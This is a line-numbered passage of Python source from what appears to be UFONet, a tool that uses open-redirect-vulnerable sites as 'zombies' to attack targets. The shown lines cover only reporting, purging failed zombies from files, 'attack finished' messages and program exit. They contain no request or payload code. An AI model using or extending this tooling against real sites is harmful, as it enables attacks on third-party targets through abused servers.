  4801. num_real_zombies = len(self.doll.real_zombies)
  4802. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  4803. for z in self.doll.real_zombies: # show only alien verified zombies
  4804. for x in z:
  4805. print(" - " + str(x))
  4806. self.herd.dump_html(True) # show (all) zombies statistics
  4807. if not self.options.attackme:
  4808. if not self.options.disablepurge:
  4809. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  4810. else:
  4811. if not options.target_list:
  4812. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  4813. else:
  4814. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  4815. self.update_mothership_stats() # update mothership stats
  4816. if not self.options.disablepurge:
  4817. print('='*21+ "\n")
  4818. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  4819. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4820. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  4821. elif total_disc_zombies > 1:
  4822. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  4823. if self.num_discard_zombies > 0:
  4824. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  4825. if self.num_discard_aliens > 0:
  4826. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  4827. if self.num_discard_droids > 0:
  4828. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  4829. if self.num_discard_rpcs > 0:
  4830. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  4831. if self.num_discard_ucavs > 0:
  4832. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  4833. if total_disc_zombies > 0:
  4834. if not self.options.forceyes:
  4835. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4836. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  4837. elif total_disc_zombies > 1:
  4838. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  4839. else:
  4840. backup_reply = "Y"
  4841. if backup_reply == "y" or backup_reply == "Y":
  4842. print("\n[Info] [AI] Purging failed units from files...\n")
  4843. discarded = []
  4844. if self.num_discard_zombies > 0:
  4845. for z in self.discardzombies:
  4846. discarded.append(z)
  4847. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  4848. if self.num_discard_aliens > 0:
  4849. for a in self.discard_aliens:
  4850. discarded.append(a)
  4851. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  4852. if self.num_discard_droids > 0:
  4853. for d in self.discard_droids:
  4854. discarded.append(d)
  4855. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  4856. if self.num_discard_rpcs > 0:
  4857. for r in self.discard_rpcs:
  4858. discarded.append(r)
  4859. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  4860. if self.num_discard_ucavs > 0:
  4861. for u in self.discard_ucavs:
  4862. discarded.append(u)
  4863. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  4864. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4865. if disc_zombies > 0 and disc_zombies < 2:
  4866. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  4867. elif disc_zombies > 1:
  4868. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  4869. if not self.options.target_list:
  4870. print('-'*21+ "\n")
  4871. print("[AI] "+self.exit_msg+"\n")
  4872. if not self.options.web:
  4873. return
  4874. else:
  4875. if self.num_target_list > 0: # still more targets
  4876. print('-'*21+ "\n")
  4877. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  4878. return
  4879. else: # finish attack from multiple targets
  4880. print('-'*21+ "\n")
  4881. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  4882. print("\n"+ '='*21+ "\n")
  4883. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  4884. print("\n"+ '-'*21+ "\n")
  4885. print("[AI] "+self.exit_msg+"\n")
  4886. if not self.options.web:
  4887. return
  4888. else:
  4889. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  4890. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  4891. if os.path.exists('mothership') == True:
  4892. os.remove('mothership') # remove mothership stream
  4893. if os.path.exists('alien') == True:
  4894. os.remove('alien') # remove random alien worker
  4895. if not options.web:
  4896. sys.exit(2) # exit
  4897. else:
  4898. return
  4899. else:
  4900. print("\n" + '='*21)
  4901. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  4902. if AI_reply == "y" or AI_reply == "Y":
  4903. self.AI() # AI fortune cookie
  4904. print('-'*21+ "\n")
  4905. print("\n[AI] "+self.exit_msg+"\n")
  4906. if os.path.exists('mothership') == True:
  4907. os.remove('mothership') # remove mothership stream
  4908. if os.path.exists('alien') == True:
  4909. os.remove('alien') # remove random alien worker
  4910. if not options.web:
  4911. sys.exit(2) # exit
  4912. else:
  4913. return
  4914. else:
  4915. if not options.attackme:
  4916. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  4917. else:
  4918. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  4919. print("\n" + '-'*21)
  4920. print("\n[AI] "+self.exit_msg+"\n")
  4921. if os.path.exists('mothership') == True:
  4922. os.remove('mothership') # remove mothership stream
  4923. if os.path.exists('alien') == True:
  4924. os.remove('alien') # remove random alien worker
  4925. return
  4926. if __name__ == "__main__":
  4927. app = UFONet()
  4928. options = app.create_options()
  4929. if options:
  4930. app.run()